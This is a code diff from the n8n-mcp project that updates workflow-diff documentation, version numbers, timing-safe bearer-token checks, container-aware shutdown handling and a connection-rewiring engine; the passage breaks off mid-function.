- ⏳ All 17 handlers have integration tests (11 of 17 complete)
|
||||
- ⏳ All operations/parameters covered (99 of 150+ scenarios complete)
|
||||
- ✅ Tests run successfully locally (Phases 1-6 verified)
|
||||
- ⏳ Tests run successfully in CI (pending Phase 9)
|
||||
- ✅ No manual cleanup required (automatic)
|
||||
- ✅ Test coverage catches P0-level bugs (verified in Phase 2)
|
||||
- ⏳ CI runs on every PR and daily (pending Phase 9)
|
||||
- ✅ Clear error messages when tests fail
|
||||
- ✅ Documentation for webhook workflow setup
|
||||
- ✅ Code quality maintained (lint, typecheck, type safety)
|
||||
|
||||
---
|
||||
|
||||
@@ -1186,12 +1252,12 @@ jobs:
|
||||
- **Phase 4 (Updates)**: ✅ COMPLETE (October 4, 2025)
|
||||
- **Phase 5 (Management)**: ✅ COMPLETE (October 4, 2025)
|
||||
- **Phase 6A (Validation)**: ✅ COMPLETE (October 5, 2025)
|
||||
- **Phase 6B (Autofix)**: 1 day
|
||||
- **Phase 6B (Autofix)**: ✅ COMPLETE (October 5, 2025)
|
||||
- **Phase 7 (Executions)**: 2 days
|
||||
- **Phase 8 (System)**: 1 day
|
||||
- **Phase 9 (CI/CD)**: 1 day
|
||||
|
||||
**Total**: 5.5 days complete, ~5 days remaining
|
||||
**Total**: 6 days complete, ~4 days remaining
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -116,17 +116,46 @@ The `n8n_update_partial_workflow` tool allows you to make targeted changes to wo
|
||||
}
|
||||
```
|
||||
|
||||
#### Update Connection (Change routing)
|
||||
#### Rewire Connection
|
||||
```json
|
||||
{
|
||||
"type": "updateConnection",
|
||||
"type": "rewireConnection",
|
||||
"source": "Webhook",
|
||||
"from": "Old Handler",
|
||||
"to": "New Handler",
|
||||
"description": "Rewire connection to new handler"
|
||||
}
|
||||
```
|
||||
|
||||
#### Smart Parameters for IF Nodes
|
||||
```json
|
||||
{
|
||||
"type": "addConnection",
|
||||
"source": "IF",
|
||||
"target": "Send Email",
|
||||
"changes": {
|
||||
"sourceOutput": "false", // Change from 'true' to 'false' output
|
||||
"targetInput": "main"
|
||||
},
|
||||
"description": "Route failed conditions to email"
|
||||
"target": "Success Handler",
|
||||
"branch": "true", // Semantic parameter instead of sourceIndex
|
||||
"description": "Route true branch to success handler"
|
||||
}
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "addConnection",
|
||||
"source": "IF",
|
||||
"target": "Error Handler",
|
||||
"branch": "false", // Routes to false branch (sourceIndex=1)
|
||||
"description": "Route false branch to error handler"
|
||||
}
|
||||
```
|
||||
|
||||
#### Smart Parameters for Switch Nodes
|
||||
```json
|
||||
{
|
||||
"type": "addConnection",
|
||||
"source": "Switch",
|
||||
"target": "Handler A",
|
||||
"case": 0, // First output
|
||||
"description": "Route case 0 to Handler A"
|
||||
}
|
||||
```
|
||||
|
||||
@@ -577,13 +606,13 @@ The tool validates all operations before applying any changes. Common errors inc
|
||||
|
||||
Always check the response for validation errors and adjust your operations accordingly.
|
||||
|
||||
## Transactional Updates (v2.7.0+)
|
||||
## Transactional Updates
|
||||
|
||||
The diff engine now supports transactional updates using a **two-pass processing** approach:
|
||||
|
||||
### How It Works
|
||||
|
||||
1. **Operation Limit**: Maximum 5 operations per request to ensure reliability
|
||||
1. **No Operation Limit**: Process unlimited operations in a single request
|
||||
2. **Two-Pass Processing**:
|
||||
- **Pass 1**: All node operations (add, remove, update, move, enable, disable)
|
||||
- **Pass 2**: All other operations (connections, settings, metadata)
|
||||
@@ -633,9 +662,9 @@ This allows you to add nodes and connect them in the same request:
|
||||
### Benefits
|
||||
|
||||
- **Order Independence**: You don't need to worry about operation order
|
||||
- **Atomic Updates**: All operations succeed or all fail
|
||||
- **Atomic Updates**: All operations succeed or all fail (unless continueOnError is enabled)
|
||||
- **Intuitive Usage**: Add complex workflow structures in one call
|
||||
- **Clear Limits**: 5 operations max keeps things simple and reliable
|
||||
- **No Hard Limits**: Process unlimited operations efficiently
|
||||
|
||||
### Example: Complete Workflow Addition
|
||||
|
||||
@@ -694,4 +723,4 @@ This allows you to add nodes and connect them in the same request:
|
||||
}
|
||||
```
|
||||
|
||||
All 5 operations will be processed correctly regardless of order!
|
||||
All operations will be processed correctly regardless of order!
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "n8n-mcp",
|
||||
"version": "2.15.6",
|
||||
"version": "2.16.2",
|
||||
"description": "Integration between n8n workflow automation and Model Context Protocol (MCP)",
|
||||
"main": "dist/index.js",
|
||||
"bin": {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "n8n-mcp-runtime",
|
||||
"version": "2.15.1",
|
||||
"version": "2.16.1",
|
||||
"description": "n8n MCP Server Runtime Dependencies Only",
|
||||
"private": true,
|
||||
"dependencies": {
|
||||
|
||||
@@ -10,6 +10,7 @@ import { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';
|
||||
import { N8NDocumentationMCPServer } from './mcp/server';
|
||||
import { ConsoleManager } from './utils/console-manager';
|
||||
import { logger } from './utils/logger';
|
||||
import { AuthManager } from './utils/auth';
|
||||
import { readFileSync } from 'fs';
|
||||
import dotenv from 'dotenv';
|
||||
import { getStartupBaseUrl, formatEndpointUrls, detectBaseUrl } from './utils/url-detector';
|
||||
@@ -1080,15 +1081,19 @@ export class SingleSessionHTTPServer {
|
||||
|
||||
// Extract token and trim whitespace
|
||||
const token = authHeader.slice(7).trim();
|
||||
|
||||
// Check if token matches
|
||||
if (token !== this.authToken) {
|
||||
logger.warn('Authentication failed: Invalid token', {
|
||||
|
||||
// SECURITY: Use timing-safe comparison to prevent timing attacks
|
||||
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
|
||||
const isValidToken = this.authToken &&
|
||||
AuthManager.timingSafeCompare(token, this.authToken);
|
||||
|
||||
if (!isValidToken) {
|
||||
logger.warn('Authentication failed: Invalid token', {
|
||||
ip: req.ip,
|
||||
userAgent: req.get('user-agent'),
|
||||
reason: 'invalid_token'
|
||||
});
|
||||
res.status(401).json({
|
||||
res.status(401).json({
|
||||
jsonrpc: '2.0',
|
||||
error: {
|
||||
code: -32001,
|
||||
|
||||
@@ -9,6 +9,7 @@ import { n8nDocumentationToolsFinal } from './mcp/tools';
|
||||
import { n8nManagementTools } from './mcp/tools-n8n-manager';
|
||||
import { N8NDocumentationMCPServer } from './mcp/server';
|
||||
import { logger } from './utils/logger';
|
||||
import { AuthManager } from './utils/auth';
|
||||
import { PROJECT_VERSION } from './utils/version';
|
||||
import { isN8nApiConfigured } from './config/n8n-api';
|
||||
import dotenv from 'dotenv';
|
||||
@@ -308,15 +309,19 @@ export async function startFixedHTTPServer() {
|
||||
|
||||
// Extract token and trim whitespace
|
||||
const token = authHeader.slice(7).trim();
|
||||
|
||||
// Check if token matches
|
||||
if (token !== authToken) {
|
||||
logger.warn('Authentication failed: Invalid token', {
|
||||
|
||||
// SECURITY: Use timing-safe comparison to prevent timing attacks
|
||||
// See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
|
||||
const isValidToken = authToken &&
|
||||
AuthManager.timingSafeCompare(token, authToken);
|
||||
|
||||
if (!isValidToken) {
|
||||
logger.warn('Authentication failed: Invalid token', {
|
||||
ip: req.ip,
|
||||
userAgent: req.get('user-agent'),
|
||||
reason: 'invalid_token'
|
||||
});
|
||||
res.status(401).json({
|
||||
res.status(401).json({
|
||||
jsonrpc: '2.0',
|
||||
error: {
|
||||
code: -32001,
|
||||
|
||||
@@ -27,10 +27,15 @@ const workflowDiffSchema = z.object({
|
||||
// Connection operations
|
||||
source: z.string().optional(),
|
||||
target: z.string().optional(),
|
||||
from: z.string().optional(), // For rewireConnection
|
||||
to: z.string().optional(), // For rewireConnection
|
||||
sourceOutput: z.string().optional(),
|
||||
targetInput: z.string().optional(),
|
||||
sourceIndex: z.number().optional(),
|
||||
targetIndex: z.number().optional(),
|
||||
// Smart parameters (Phase 1 UX improvement)
|
||||
branch: z.enum(['true', 'false']).optional(),
|
||||
case: z.number().optional(),
|
||||
ignoreErrors: z.boolean().optional(),
|
||||
// Connection cleanup operations
|
||||
dryRun: z.boolean().optional(),
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
import { N8NDocumentationMCPServer } from './server';
|
||||
import { logger } from '../utils/logger';
|
||||
import { TelemetryConfigManager } from '../telemetry/config-manager';
|
||||
import { existsSync } from 'fs';
|
||||
|
||||
// Add error details to stderr for Claude Desktop debugging
|
||||
process.on('uncaughtException', (error) => {
|
||||
@@ -21,6 +22,36 @@ process.on('unhandledRejection', (reason, promise) => {
|
||||
process.exit(1);
|
||||
});
|
||||
|
||||
/**
|
||||
* Detects if running in a container environment (Docker, Podman, Kubernetes, etc.)
|
||||
* Uses multiple detection methods for robustness:
|
||||
* 1. Environment variables (IS_DOCKER, IS_CONTAINER with multiple formats)
|
||||
* 2. Filesystem markers (/.dockerenv, /run/.containerenv)
|
||||
*/
|
||||
function isContainerEnvironment(): boolean {
|
||||
// Check environment variables with multiple truthy formats
|
||||
const dockerEnv = (process.env.IS_DOCKER || '').toLowerCase();
|
||||
const containerEnv = (process.env.IS_CONTAINER || '').toLowerCase();
|
||||
|
||||
if (['true', '1', 'yes'].includes(dockerEnv)) {
|
||||
return true;
|
||||
}
|
||||
if (['true', '1', 'yes'].includes(containerEnv)) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Fallback: Check filesystem markers
|
||||
// /.dockerenv exists in Docker containers
|
||||
// /run/.containerenv exists in Podman containers
|
||||
try {
|
||||
return existsSync('/.dockerenv') || existsSync('/run/.containerenv');
|
||||
} catch (error) {
|
||||
// If filesystem check fails, assume not in container
|
||||
logger.debug('Container detection filesystem check failed:', error);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async function main() {
|
||||
// Handle telemetry CLI commands
|
||||
const args = process.argv.slice(2);
|
||||
@@ -91,6 +122,67 @@ Learn more: https://github.com/czlonkowski/n8n-mcp/blob/main/PRIVACY.md
|
||||
} else {
|
||||
// Stdio mode - for local Claude Desktop
|
||||
const server = new N8NDocumentationMCPServer();
|
||||
|
||||
// Graceful shutdown handler (fixes Issue #277)
|
||||
let isShuttingDown = false;
|
||||
const shutdown = async (signal: string = 'UNKNOWN') => {
|
||||
if (isShuttingDown) return; // Prevent multiple shutdown calls
|
||||
isShuttingDown = true;
|
||||
|
||||
try {
|
||||
logger.info(`Shutdown initiated by: ${signal}`);
|
||||
|
||||
await server.shutdown();
|
||||
|
||||
// Close stdin to signal we're done reading
|
||||
if (process.stdin && !process.stdin.destroyed) {
|
||||
process.stdin.pause();
|
||||
process.stdin.destroy();
|
||||
}
|
||||
|
||||
// Exit with timeout to ensure we don't hang
|
||||
// Increased to 1000ms for slower systems
|
||||
setTimeout(() => {
|
||||
logger.warn('Shutdown timeout exceeded, forcing exit');
|
||||
process.exit(0);
|
||||
}, 1000).unref();
|
||||
|
||||
// Let the timeout handle the exit for graceful shutdown
|
||||
// (removed immediate exit to allow cleanup to complete)
|
||||
} catch (error) {
|
||||
logger.error('Error during shutdown:', error);
|
||||
process.exit(1);
|
||||
}
|
||||
};
|
||||
|
||||
// Handle termination signals (fixes Issue #277)
|
||||
// Signal handling strategy:
|
||||
// - Claude Desktop (Windows/macOS/Linux): stdin handlers + signal handlers
|
||||
// Primary: stdin close when Claude quits | Fallback: SIGTERM/SIGINT/SIGHUP
|
||||
// - Container environments: signal handlers ONLY
|
||||
// stdin closed in detached mode would trigger immediate shutdown
|
||||
// Container detection via IS_DOCKER/IS_CONTAINER env vars + filesystem markers
|
||||
// - Manual execution: Both stdin and signal handlers work
|
||||
process.on('SIGTERM', () => shutdown('SIGTERM'));
|
||||
process.on('SIGINT', () => shutdown('SIGINT'));
|
||||
process.on('SIGHUP', () => shutdown('SIGHUP'));
|
||||
|
||||
// Handle stdio disconnect - PRIMARY shutdown mechanism for Claude Desktop
|
||||
// Skip in container environments (Docker, Kubernetes, Podman) to prevent
|
||||
// premature shutdown when stdin is closed in detached mode.
|
||||
// Containers rely on signal handlers (SIGTERM/SIGINT/SIGHUP) for proper shutdown.
|
||||
const isContainer = isContainerEnvironment();
|
||||
|
||||
if (!isContainer && process.stdin.readable && !process.stdin.destroyed) {
|
||||
try {
|
||||
process.stdin.on('end', () => shutdown('STDIN_END'));
|
||||
process.stdin.on('close', () => shutdown('STDIN_CLOSE'));
|
||||
} catch (error) {
|
||||
logger.error('Failed to register stdin handlers, using signal handlers only:', error);
|
||||
// Continue - signal handlers will still work
|
||||
}
|
||||
}
|
||||
|
||||
await server.run();
|
||||
}
|
||||
} catch (error) {
|
||||
|
||||
@@ -599,16 +599,23 @@ export class N8NDocumentationMCPServer {
|
||||
*/
|
||||
private validateToolParamsBasic(toolName: string, args: any, requiredParams: string[]): void {
|
||||
const missing: string[] = [];
|
||||
|
||||
const invalid: string[] = [];
|
||||
|
||||
for (const param of requiredParams) {
|
||||
if (!(param in args) || args[param] === undefined || args[param] === null) {
|
||||
missing.push(param);
|
||||
} else if (typeof args[param] === 'string' && args[param].trim() === '') {
|
||||
invalid.push(`${param} (empty string)`);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (missing.length > 0) {
|
||||
throw new Error(`Missing required parameters for ${toolName}: ${missing.join(', ')}. Please provide the required parameters to use this tool.`);
|
||||
}
|
||||
|
||||
if (invalid.length > 0) {
|
||||
throw new Error(`Invalid parameters for ${toolName}: ${invalid.join(', ')}. String parameters cannot be empty.`);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -4,11 +4,14 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
|
||||
name: 'n8n_update_partial_workflow',
|
||||
category: 'workflow_management',
|
||||
essentials: {
|
||||
description: 'Update workflow incrementally with diff operations. Types: addNode, removeNode, updateNode, moveNode, enable/disableNode, addConnection, removeConnection, cleanStaleConnections, replaceConnections, updateSettings, updateName, add/removeTag.',
|
||||
description: 'Update workflow incrementally with diff operations. Types: addNode, removeNode, updateNode, moveNode, enable/disableNode, addConnection, removeConnection, rewireConnection, cleanStaleConnections, replaceConnections, updateSettings, updateName, add/removeTag. Supports smart parameters (branch, case) for multi-output nodes.',
|
||||
keyParameters: ['id', 'operations', 'continueOnError'],
|
||||
example: 'n8n_update_partial_workflow({id: "wf_123", operations: [{type: "cleanStaleConnections"}]})',
|
||||
example: 'n8n_update_partial_workflow({id: "wf_123", operations: [{type: "rewireConnection", source: "IF", from: "Old", to: "New", branch: "true"}]})',
|
||||
performance: 'Fast (50-200ms)',
|
||||
tips: [
|
||||
'Use rewireConnection to change connection targets',
|
||||
'Use branch="true"/"false" for IF nodes',
|
||||
'Use case=N for Switch nodes',
|
||||
'Use cleanStaleConnections to auto-remove broken connections',
|
||||
'Set ignoreErrors:true on removeConnection for cleanup',
|
||||
'Use continueOnError mode for best-effort bulk operations',
|
||||
@@ -16,7 +19,7 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
|
||||
]
|
||||
},
|
||||
full: {
|
||||
description: `Updates workflows using surgical diff operations instead of full replacement. Supports 15 operation types for precise modifications. Operations are validated and applied atomically by default - all succeed or none are applied. v2.14.4 adds cleanup operations and best-effort mode for workflow recovery scenarios.
|
||||
description: `Updates workflows using surgical diff operations instead of full replacement. Supports 15 operation types for precise modifications. Operations are validated and applied atomically by default - all succeed or none are applied.
|
||||
|
||||
## Available Operations:
|
||||
|
||||
@@ -29,11 +32,11 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
|
||||
- **disableNode**: Disable an active node
|
||||
|
||||
### Connection Operations (5 types):
|
||||
- **addConnection**: Connect nodes (source→target)
|
||||
- **addConnection**: Connect nodes (source→target). Supports smart parameters: branch="true"/"false" for IF nodes, case=N for Switch nodes.
|
||||
- **removeConnection**: Remove connection between nodes (supports ignoreErrors flag)
|
||||
- **updateConnection**: Modify connection properties
|
||||
- **cleanStaleConnections**: Auto-remove all connections referencing non-existent nodes (NEW in v2.14.4)
|
||||
- **replaceConnections**: Replace entire connections object (NEW in v2.14.4)
|
||||
- **rewireConnection**: Change connection target from one node to another. Supports smart parameters.
|
||||
- **cleanStaleConnections**: Auto-remove all connections referencing non-existent nodes
|
||||
- **replaceConnections**: Replace entire connections object
|
||||
|
||||
### Metadata Operations (4 types):
|
||||
- **updateSettings**: Modify workflow settings
|
||||
@@ -41,7 +44,20 @@ export const n8nUpdatePartialWorkflowDoc: ToolDocumentation = {
|
||||
- **addTag**: Add a workflow tag
|
||||
- **removeTag**: Remove a workflow tag
|
||||
|
||||
## New in v2.14.4: Cleanup & Recovery Features
|
||||
## Smart Parameters for Multi-Output Nodes
|
||||
|
||||
For **IF nodes**, use semantic 'branch' parameter instead of technical sourceIndex:
|
||||
- **branch="true"**: Routes to true branch (sourceIndex=0)
|
||||
- **branch="false"**: Routes to false branch (sourceIndex=1)
|
||||
|
||||
For **Switch nodes**, use semantic 'case' parameter:
|
||||
- **case=0**: First output
|
||||
- **case=1**: Second output
|
||||
- **case=N**: Nth output
|
||||
|
||||
Works with addConnection and rewireConnection operations. Explicit sourceIndex overrides smart parameters.
|
||||
|
||||
## Cleanup & Recovery Features
|
||||
|
||||
### Automatic Cleanup
|
||||
The **cleanStaleConnections** operation automatically removes broken connection references after node renames/deletions. Essential for workflow recovery.
|
||||
@@ -66,15 +82,21 @@ Add **ignoreErrors: true** to removeConnection operations to prevent failures wh
|
||||
'// Add a basic node (minimal configuration)\nn8n_update_partial_workflow({id: "abc", operations: [{type: "addNode", node: {name: "Process Data", type: "n8n-nodes-base.set", position: [400, 300], parameters: {}}}]})',
|
||||
'// Add node with full configuration\nn8n_update_partial_workflow({id: "def", operations: [{type: "addNode", node: {name: "Send Slack Alert", type: "n8n-nodes-base.slack", position: [600, 300], typeVersion: 2, parameters: {resource: "message", operation: "post", channel: "#alerts", text: "Success!"}}}]})',
|
||||
'// Add node AND connect it (common pattern)\nn8n_update_partial_workflow({id: "ghi", operations: [\n {type: "addNode", node: {name: "HTTP Request", type: "n8n-nodes-base.httpRequest", position: [400, 300], parameters: {url: "https://api.example.com", method: "GET"}}},\n {type: "addConnection", source: "Webhook", target: "HTTP Request"}\n]})',
|
||||
'// Add multiple nodes in batch\nn8n_update_partial_workflow({id: "jkl", operations: [\n {type: "addNode", node: {name: "Filter", type: "n8n-nodes-base.filter", position: [400, 300], parameters: {}}},\n {type: "addNode", node: {name: "Transform", type: "n8n-nodes-base.set", position: [600, 300], parameters: {}}},\n {type: "addConnection", source: "Filter", target: "Transform"}\n]})',
|
||||
'// Clean up stale connections after node renames/deletions\nn8n_update_partial_workflow({id: "mno", operations: [{type: "cleanStaleConnections"}]})',
|
||||
'// Remove connection gracefully (no error if it doesn\'t exist)\nn8n_update_partial_workflow({id: "pqr", operations: [{type: "removeConnection", source: "Old Node", target: "Target", ignoreErrors: true}]})',
|
||||
'// Best-effort mode: apply what works, report what fails\nn8n_update_partial_workflow({id: "stu", operations: [\n {type: "updateName", name: "Fixed Workflow"},\n {type: "removeConnection", source: "Broken", target: "Node"},\n {type: "cleanStaleConnections"}\n], continueOnError: true})',
|
||||
'// Replace entire connections object\nn8n_update_partial_workflow({id: "vwx", operations: [{type: "replaceConnections", connections: {"Webhook": {"main": [[{node: "Slack", type: "main", index: 0}]]}}}]})',
|
||||
'// Update node parameter (classic atomic mode)\nn8n_update_partial_workflow({id: "yza", operations: [{type: "updateNode", nodeName: "HTTP Request", updates: {"parameters.url": "https://api.example.com"}}]})',
|
||||
'// Rewire connection from one target to another\nn8n_update_partial_workflow({id: "xyz", operations: [{type: "rewireConnection", source: "Webhook", from: "Old Handler", to: "New Handler"}]})',
|
||||
'// Smart parameter: IF node true branch\nn8n_update_partial_workflow({id: "abc", operations: [{type: "addConnection", source: "IF", target: "Success Handler", branch: "true"}]})',
|
||||
'// Smart parameter: IF node false branch\nn8n_update_partial_workflow({id: "def", operations: [{type: "addConnection", source: "IF", target: "Error Handler", branch: "false"}]})',
|
||||
'// Smart parameter: Switch node case routing\nn8n_update_partial_workflow({id: "ghi", operations: [\n {type: "addConnection", source: "Switch", target: "Handler A", case: 0},\n {type: "addConnection", source: "Switch", target: "Handler B", case: 1},\n {type: "addConnection", source: "Switch", target: "Handler C", case: 2}\n]})',
|
||||
'// Rewire with smart parameter\nn8n_update_partial_workflow({id: "jkl", operations: [{type: "rewireConnection", source: "IF", from: "Old True Handler", to: "New True Handler", branch: "true"}]})',
|
||||
'// Add multiple nodes in batch\nn8n_update_partial_workflow({id: "mno", operations: [\n {type: "addNode", node: {name: "Filter", type: "n8n-nodes-base.filter", position: [400, 300], parameters: {}}},\n {type: "addNode", node: {name: "Transform", type: "n8n-nodes-base.set", position: [600, 300], parameters: {}}},\n {type: "addConnection", source: "Filter", target: "Transform"}\n]})',
|
||||
'// Clean up stale connections after node renames/deletions\nn8n_update_partial_workflow({id: "pqr", operations: [{type: "cleanStaleConnections"}]})',
|
||||
'// Remove connection gracefully (no error if it doesn\'t exist)\nn8n_update_partial_workflow({id: "stu", operations: [{type: "removeConnection", source: "Old Node", target: "Target", ignoreErrors: true}]})',
|
||||
'// Best-effort mode: apply what works, report what fails\nn8n_update_partial_workflow({id: "vwx", operations: [\n {type: "updateName", name: "Fixed Workflow"},\n {type: "removeConnection", source: "Broken", target: "Node"},\n {type: "cleanStaleConnections"}\n], continueOnError: true})',
|
||||
'// Update node parameter\nn8n_update_partial_workflow({id: "yza", operations: [{type: "updateNode", nodeName: "HTTP Request", updates: {"parameters.url": "https://api.example.com"}}]})',
|
||||
'// Validate before applying\nn8n_update_partial_workflow({id: "bcd", operations: [{type: "removeNode", nodeName: "Old Process"}], validateOnly: true})'
|
||||
],
|
||||
useCases: [
|
||||
'Rewire connections when replacing nodes',
|
||||
'Route IF/Switch node outputs with semantic parameters',
|
||||
'Clean up broken workflows after node renames/deletions',
|
||||
'Bulk connection cleanup with best-effort mode',
|
||||
'Update single node parameters',
|
||||
@@ -86,6 +108,9 @@ Add **ignoreErrors: true** to removeConnection operations to prevent failures wh
|
||||
],
|
||||
performance: 'Very fast - typically 50-200ms. Much faster than full updates as only changes are processed.',
|
||||
bestPractices: [
|
||||
'Use rewireConnection instead of remove+add for changing targets',
|
||||
'Use branch="true"/"false" for IF nodes instead of sourceIndex',
|
||||
'Use case=N for Switch nodes instead of sourceIndex',
|
||||
'Use cleanStaleConnections after renaming/removing nodes',
|
||||
'Use continueOnError for bulk cleanup operations',
|
||||
'Set ignoreErrors:true on removeConnection for graceful cleanup',
|
||||
@@ -100,9 +125,11 @@ Add **ignoreErrors: true** to removeConnection operations to prevent failures wh
|
||||
'continueOnError breaks atomic guarantees - use with caution',
|
||||
'Order matters for dependent operations (e.g., must add node before connecting to it)',
|
||||
'Node references accept ID or name, but name must be unique',
|
||||
'Node names with special characters (apostrophes, quotes) work correctly since v2.15.6 (Issue #270 fixed)',
|
||||
'Node names with special characters (apostrophes, quotes) work correctly',
|
||||
'For best compatibility, prefer node IDs over names when dealing with special characters',
|
||||
'Use "updates" property for updateNode operations: {type: "updateNode", updates: {...}}',
|
||||
'Smart parameters (branch, case) only work with IF and Switch nodes - ignored for other node types',
|
||||
'Explicit sourceIndex overrides smart parameters (branch, case) if both provided',
|
||||
'cleanStaleConnections removes ALL broken connections - cannot be selective',
|
||||
'replaceConnections overwrites entire connections object - all previous connections lost'
|
||||
],
|
||||
|
||||
@@ -20,7 +20,7 @@ import {
|
||||
DisableNodeOperation,
|
||||
AddConnectionOperation,
|
||||
RemoveConnectionOperation,
|
||||
UpdateConnectionOperation,
|
||||
RewireConnectionOperation,
|
||||
UpdateSettingsOperation,
|
||||
UpdateNameOperation,
|
||||
AddTagOperation,
|
||||
@@ -223,8 +223,8 @@ export class WorkflowDiffEngine {
|
||||
return this.validateAddConnection(workflow, operation);
|
||||
case 'removeConnection':
|
||||
return this.validateRemoveConnection(workflow, operation);
|
||||
case 'updateConnection':
|
||||
return this.validateUpdateConnection(workflow, operation);
|
||||
case 'rewireConnection':
|
||||
return this.validateRewireConnection(workflow, operation as RewireConnectionOperation);
|
||||
case 'updateSettings':
|
||||
case 'updateName':
|
||||
case 'addTag':
|
||||
@@ -268,8 +268,8 @@ export class WorkflowDiffEngine {
|
||||
case 'removeConnection':
|
||||
this.applyRemoveConnection(workflow, operation);
|
||||
break;
|
||||
case 'updateConnection':
|
||||
this.applyUpdateConnection(workflow, operation);
|
||||
case 'rewireConnection':
|
||||
this.applyRewireConnection(workflow, operation as RewireConnectionOperation);
|
||||
break;
|
||||
case 'updateSettings':
|
||||
this.applyUpdateSettings(workflow, operation);
|
||||
@@ -455,37 +455,53 @@ export class WorkflowDiffEngine {
|
||||
return null;
|
||||
}
|
||||
|
||||
private validateUpdateConnection(workflow: Workflow, operation: UpdateConnectionOperation): string | null {
|
||||
private validateRewireConnection(workflow: Workflow, operation: RewireConnectionOperation): string | null {
|
||||
// Validate source node exists
|
||||
const sourceNode = this.findNode(workflow, operation.source, operation.source);
|
||||
const targetNode = this.findNode(workflow, operation.target, operation.target);
|
||||
|
||||
if (!sourceNode) {
|
||||
return `Source node not found: ${operation.source}`;
|
||||
const availableNodes = workflow.nodes
|
||||
.map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
|
||||
.join(', ');
|
||||
return `Source node not found: "${operation.source}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
|
||||
}
|
||||
if (!targetNode) {
|
||||
return `Target node not found: ${operation.target}`;
|
||||
|
||||
// Validate "from" node exists (current target)
|
||||
const fromNode = this.findNode(workflow, operation.from, operation.from);
|
||||
if (!fromNode) {
|
||||
const availableNodes = workflow.nodes
|
||||
.map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
|
||||
.join(', ');
|
||||
return `"From" node not found: "${operation.from}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
|
||||
}
|
||||
|
||||
// Check if connection exists to update
|
||||
const existingConnections = workflow.connections[sourceNode.name];
|
||||
if (!existingConnections) {
|
||||
return `No connections found from "${sourceNode.name}"`;
|
||||
|
||||
// Validate "to" node exists (new target)
|
||||
const toNode = this.findNode(workflow, operation.to, operation.to);
|
||||
if (!toNode) {
|
||||
const availableNodes = workflow.nodes
|
||||
.map(n => `"${n.name}" (id: ${n.id.substring(0, 8)}...)`)
|
||||
.join(', ');
|
||||
return `"To" node not found: "${operation.to}". Available nodes: ${availableNodes}. Tip: Use node ID for names with special characters.`;
|
||||
}
|
||||
|
||||
// Check if any connection to target exists
|
||||
let hasConnection = false;
|
||||
Object.values(existingConnections).forEach(outputs => {
|
||||
outputs.forEach(connections => {
|
||||
if (connections.some(c => c.node === targetNode.name)) {
|
||||
hasConnection = true;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
// Resolve smart parameters (branch, case) before validating connections
|
||||
const { sourceOutput, sourceIndex } = this.resolveSmartParameters(workflow, operation);
|
||||
|
||||
// Validate that connection from source to "from" exists at the specific index
|
||||
const connections = workflow.connections[sourceNode.name]?.[sourceOutput];
|
||||
if (!connections) {
|
||||
return `No connections found from "${sourceNode.name}" on output "${sourceOutput}"`;
|
||||
}
|
||||
|
||||
if (!connections[sourceIndex]) {
|
||||
return `No connections found from "${sourceNode.name}" on output "${sourceOutput}" at index ${sourceIndex}`;
|
||||
}
|
||||
|
||||
const hasConnection = connections[sourceIndex].some(c => c.node === fromNode.name);
|
||||
|
||||
if (!hasConnection) {
|
||||
return `No connection exists from "${sourceNode.name}" to "${targetNode.name}"`;
|
||||
return `No connection exists from "${sourceNode.name}" to "${fromNode.name}" on output "${sourceOutput}" at index ${sourceIndex}"`;
|
||||
}
|
||||
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -579,32 +595,77 @@ export class WorkflowDiffEngine {
|
||||
node.disabled = true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve smart parameters (branch, case) to technical parameters
|
||||
* Phase 1 UX improvement: Semantic parameters for multi-output nodes
|
||||
*/
|
||||
private resolveSmartParameters(
|
||||
workflow: Workflow,
|
||||
operation: AddConnectionOperation | RewireConnectionOperation
|
||||
): { sourceOutput: string; sourceIndex: number } {
|
||||
const sourceNode = this.findNode(workflow, operation.source, operation.source);
|
||||
|
||||
// Start with explicit values or defaults
|
||||
let sourceOutput = operation.sourceOutput ?? 'main';
|
||||
let sourceIndex = operation.sourceIndex ?? 0;
|
||||
|
||||
// Smart parameter: branch (for IF nodes)
|
||||
// IF nodes use 'main' output with index 0 (true) or 1 (false)
|
||||
if (operation.branch !== undefined && operation.sourceIndex === undefined) {
|
||||
// Only apply if sourceIndex not explicitly set
|
||||
if (sourceNode?.type === 'n8n-nodes-base.if') {
|
||||
sourceIndex = operation.branch === 'true' ? 0 : 1;
|
||||
// sourceOutput remains 'main' (do not change it)
|
||||
}
|
||||
}
|
||||
|
||||
// Smart parameter: case (for Switch nodes)
|
||||
if (operation.case !== undefined && operation.sourceIndex === undefined) {
|
||||
// Only apply if sourceIndex not explicitly set
|
||||
sourceIndex = operation.case;
|
||||
}
|
||||
|
||||
return { sourceOutput, sourceIndex };
|
||||
}
|
||||
|
||||
// Connection operation appliers
|
||||
private applyAddConnection(workflow: Workflow, operation: AddConnectionOperation): void {
|
||||
const sourceNode = this.findNode(workflow, operation.source, operation.source);
|
||||
const targetNode = this.findNode(workflow, operation.target, operation.target);
|
||||
if (!sourceNode || !targetNode) return;
|
||||
|
||||
const sourceOutput = operation.sourceOutput || 'main';
|
||||
const targetInput = operation.targetInput || 'main';
|
||||
const sourceIndex = operation.sourceIndex || 0;
|
||||
const targetIndex = operation.targetIndex || 0;
|
||||
|
||||
